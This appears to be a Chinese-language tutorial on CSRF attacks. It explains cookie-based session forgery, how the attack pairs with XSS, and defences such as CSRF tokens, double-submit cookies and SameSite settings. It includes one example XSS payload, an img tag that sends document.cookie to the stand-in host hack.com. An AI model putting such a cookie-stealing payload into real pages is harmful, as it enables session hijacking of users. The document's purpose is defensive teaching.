CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。
現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。
也因為這個特性,只要駭客拿到你存在cookie中的session id,他就可以從他的惡意網站發送request到你這個網站,header中放入偷來的cookie,就可以偽造成是你發送的request。
另一種方式是,駭客不需要拿到你的session id,但是可以讓你自己去觸發這個攻擊。 什麼意思呢?
假如你這個網站session還沒失效(還是登入狀態),不小心逛到駭客的惡意網站,偷發request到你這個網站,由於瀏覽器自動夾帶session cookie,而導致網站誤以為是登入中的user做的動作。
如果只是刪除你寫的文章那可能還好,但如果是銀行系統呢? 把你的錢都轉光,那事情可就大條啦!
至於駭客有哪些攻擊方式呢?
(1) XSS攻擊 + 透過js存取cookie
如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>
這就是一種做法。
駭客再把cookie帶在header中送request到你的網站來做攻擊。
所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。
(2) XSS攻擊 + 瀏覽器自動跨域傳送cookie
這邊先稍微提一下,瀏覽器可能在某些情況下,允許cross domain帶上cookie,例如chrome預設samesite是Lax,是比較寬鬆的rule,get request會自動跨域送出cookie,例如html的a tag。(關於chrome samesite設定,後面還會有詳細介紹)
舉例而言,假如有一個你常常在用的購物網站,這邊所謂的跨域是指從其他外部網站連到這個購物網站的意思,也就是從其他domain連過來購物網站,瀏覽器會自動帶上購物網站的cookies。並不是說從這個購物網站連到其他網站,會把這個購物網站的cookies送到其他網站,這邊不要搞混囉!
駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。
以下以程式碼來模擬這樣的情況:
假設這是你的網站,其中click me是被駭客XSS的惡意連結,可以看到session cookie設定上去了:
接著按下click me會導到駭客網站去,如上程式碼,該網站又導回原本的網站,可以發現request header中包含了session cookie:
上面程式碼只是簡單表達,cookie是會跨域傳送的,駭客也是針對這個特性做攻擊的,試想假如你的網站有個get service,可能是http://127.0.0.1/deleteArticle?id=1 類似這樣的url,駭客就可以打這個service來做攻擊,因為cookie會被帶上,網站判斷是登入狀態,文章就被刪除了。
現在知道危險性了嗎? 你可能會想說,那我把service改成post不就好了? 是的,在cookie samesite=Lax的情況下,post request cookie無法跨域。但是! 如果駭客是在同域攻擊呢?
舉例來說,例如你的網站有上傳檔案的功能,駭客偷偷上傳惡意程式碼,因此這個程式碼是在你的網站,駭客的惡意網站程式從不同域變成同域,所以就算改成post也並非一定安全。
(3) Note:
以上介紹的攻擊手法,並不是說一定要XSS才能做CSRF攻擊,而是搭配XSS可以更容易做到,CSRF本身是可以獨立做攻擊的,因為CSRF是利用偽造成是user的方式來達到攻擊的目的,不需要真的拿到cookies資訊。
假如你的網站沒有XSS風險,user若是誤擊駭客的惡意網站連結,還是有可能被CSRF攻擊,因此並不是說不會被XSS就沒事。
那麼該如何防禦CSRF攻擊呢?
1. Server檢查request來源
如上述所說的例子,既然是從駭客的惡意網站來的request,那只要不是本網站允許的request就全擋掉就好啦?
是的,server端可以透過request header中的Referer欄位,來判斷這個request是從哪邊來的,判斷到不允許的domain直接擋掉。但是如果駭客很厲害,可以偽造成是網站的domain,那這個方法就無效了。
BTW: 你可能會問為什麼不用Origin來判斷,因為在某些情況下,可能不會有這個欄位,如IE 11 不會在跨站request帶上Origin。
2. 使用CSRF Token
在撇開XSS的情況下,CSRF攻擊之所以可以成功,並不是因為駭客獲取你的cookie資訊,而是偽裝成是你。
因此,我們可以要求每次的request都必須帶上密碼,用來區分到底是不是正常的請求,因為駭客不知道這個密碼,所以駭客的request就會被擋住,這個密碼我們一般稱為CSRF Token。
CSRF token是由server產生的並儲存在session中,user登入成功後在session設定一組隨機產生的csrf token,並把這個token回傳給前端,前端每次送request都要帶上token,由server來比對是否跟儲存在session中的token是一樣的。
如果是表單,一般會用input hidden來藏token,ajax的話一般會帶在header。
還記得XSS攻擊那篇嗎? 駭客都可以把cookie傳到他那邊了,因此也有可能把CSRF token偷走,畢竟是藏在前端,假如駭客知道網站把token藏在哪,透過js還是可以把token送到它的server。
也就是說,如果網站有XSS風險,這個方法就無效了。
3. Double Submit Cookie
類似上面提到的,也是由server產生csrf token,但是不儲存在session,儲存在cookie,一樣把csrf token藏在前端,每次request由後端比對與cookie中儲存的csrf token是否一樣。
撇開XSS不講,這個防禦方法正是利用駭客無法取得跨域cookies的特點。
由於csrf token儲存在cookie中,即使在cookie samesite=Lax的設定下,get request 瀏覽器雖然會自動送出cookies,但由於駭客不知道cookie中的csrf token value,所以就算在前端form或ajax header中隨便帶一組token,也一定會比對不成功。
但是假如網站被XSS攻擊的話,駭客可以偷偷修改cookies,把csrf token改成他設定的,那就會被攻擊成功了。
另外有一種情況,假如你的網站是前端是www.sample.com,後端是api.sample.com,前端向後端發出post request,需要送出cookie中的csrf token,表單用input hidden,ajax放在header。
但由於前後端domain不一樣,前端拿不到cookie,如下程式碼範例:
後端先設定一個cookie上去:
接著執行前端網站:
可以發現從前端根本拿不到cookies,原因是cookie設定的domain與path的限制,只有api.sample.com拿的到。
因此為了達到雙重cookie驗證的目的,必須想辦法讓前端可以讀取cookies:
一樣先執行後端,讓cookie設定上去:
接著就可以看到,前端可以拿到token了!
因此可以發現,為了使用雙重cookie驗證,讓前端可以讀取cookie,必須把cookie domain設為sample.com,因此所有的sub domain就都可以讀取了。
問題也就來了,萬一你的子網域網站有XSS漏洞,例如可能還有video.sample.com, music.sample.com等等網站,被駭客XSS,駭客是可以修改cookie的,把csrf token改成它的,那就被攻擊成功了。
因此,這個方法沒有被廣泛使用,因為其實沒有比上述的把csrf token存在server還安全,畢竟cookie是有可能被修改的。
4. 限制瀏覽器cookie跨域傳送
CSRF攻擊其實就是基於瀏覽器跨域傳送cookie的特性,來達到攻擊的目的。
所以只要我們讓瀏覽器不要跨域傳送cookie,就會安全許多啦! (當然如果你的網站被XSS變成同域,那就另當別論了。)
現在新版的瀏覽器漸漸開始支援cookie的samesite設定了,透過Cookie SameSite屬性的設定,可以控制cookie是否能跨域傳送。
Chrome 80 之後的 Cookie SameSite屬性設定有三種(預設為 Lax):
- Strict => 最嚴格,只有domain完全一樣才能發送。
- Lax => 較寬鬆,例如<a>, <link rel="prerender">, <form method="GET"> 這些get request都可以跨域帶上cookie。
- None => 一定要多設定Secure屬性,才能允許跨網域發送,且需要HTTPS。
結論:
CSRF攻擊的防禦並不是只要針對CSRF做防禦而已,如上述提到的,駭客可能搭配XSS來做攻擊,因此確保網站能夠防禦XSS跟CSRF才是最安全的。
本文章提到許多防禦CSRF攻擊的方法,設定samesite cookie 屬性雖然可以從源頭解決問題,但目前並非所有瀏覽器都有支援,因此最好搭配本文提到的其他防禦方法,才是最安全的。